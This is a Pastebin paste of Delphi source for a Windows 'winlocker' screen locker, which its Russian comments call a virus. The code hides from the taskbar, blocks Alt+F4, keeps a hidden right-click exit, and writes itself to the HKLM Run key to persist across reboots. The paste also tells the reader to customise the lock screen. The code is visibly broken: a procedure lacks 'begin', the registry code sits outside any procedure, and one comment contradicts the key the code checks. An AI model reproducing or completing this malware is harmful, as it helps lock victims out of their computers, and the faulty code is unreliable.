Advertisement
Guest User

Untitled

a guest
Feb 24th, 2017
251
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Pascal 2.04 KB | None | 0 0
  1. unit Key;
  2.  
  3. interface
  4.  
  5. uses
  6. Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  7. Dialogs, StdCtrls, jpeg, ExtCtrls;
  8.  
  9. type
  10. TForm1 = class(TForm)
  11. Image1: TImage;
  12. Label1: TLabel;
  13. procedure FormShow(Sender: TObject);
  14. procedure FormKeyDown(Sender: TObject; var Key: Word;
  15. Shift: TShiftState);
  16. procedure FormCreate(Sender: TObject);
  17. procedure Image1Click(Sender: TObject);
  18. procedure Label1MouseDown(Sender: TObject; Button: TMouseButton;
  19. Shift: TShiftState; X, Y: Integer);
  20. private
  21. { Private declarations }
  22. public
  23. { Public declarations }
  24. end;
  25.  
  26. var
  27. Form1: TForm1;
  28.  
  29. implementation
  30.  
  31. {$R *.dfm}
  32.  
  33. procedure TForm1.FormShow(Sender: TObject); //программа не отображается в строке виндовс(не знаю, как правильно называется, находится снизу)
  34. begin
  35. ShowWindow(Application.Handle, SW_HIDE);
  36. end;
  37.  
  38. procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word; //теперь невозможно закрыть наш вирус, нажав CTRL + F4 или SHIFT + F4
  39. Shift: TShiftState);
  40. if (( ssAlt in Shift) and (Key = VK_F4)) then
  41. begin
  42. key:=0;
  43.  
  44. end;
  45.  
  46. procedure TForm1.Label1MouseDown(Sender: TObject; Button: TMouseButton; //закрывает окно винлокера по нажатию ПКМ по определенному месту на форме(Label1)
  47. Shift: TShiftState; X, Y: Integer);
  48. begin
  49. if button = mbright then
  50. Application.Terminate
  51. end;
  52. reg := TRegistry.Create();
  53. reg.RootKey := HKEY_LOCAL_MACHINE;
  54.  
  55. if reg.OpenKey('Software\Microsoft\Windows\CurrentVer sion\Run', True) then //добавляет приложение в автозапуск, дабы его нельзя было закрыть перезагрузкой компьютера
  56. begin
  57. reg.WriteString( Application.Title, Application.ExeName);
  58. reg.CloseKey();
  59. end;
  60. end.
  61.  
  62.  
  63. Также в BorderStyle прописываем BSNone
  64. Редактируем форму по своему предпочтению(добавляем картинки и текст)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement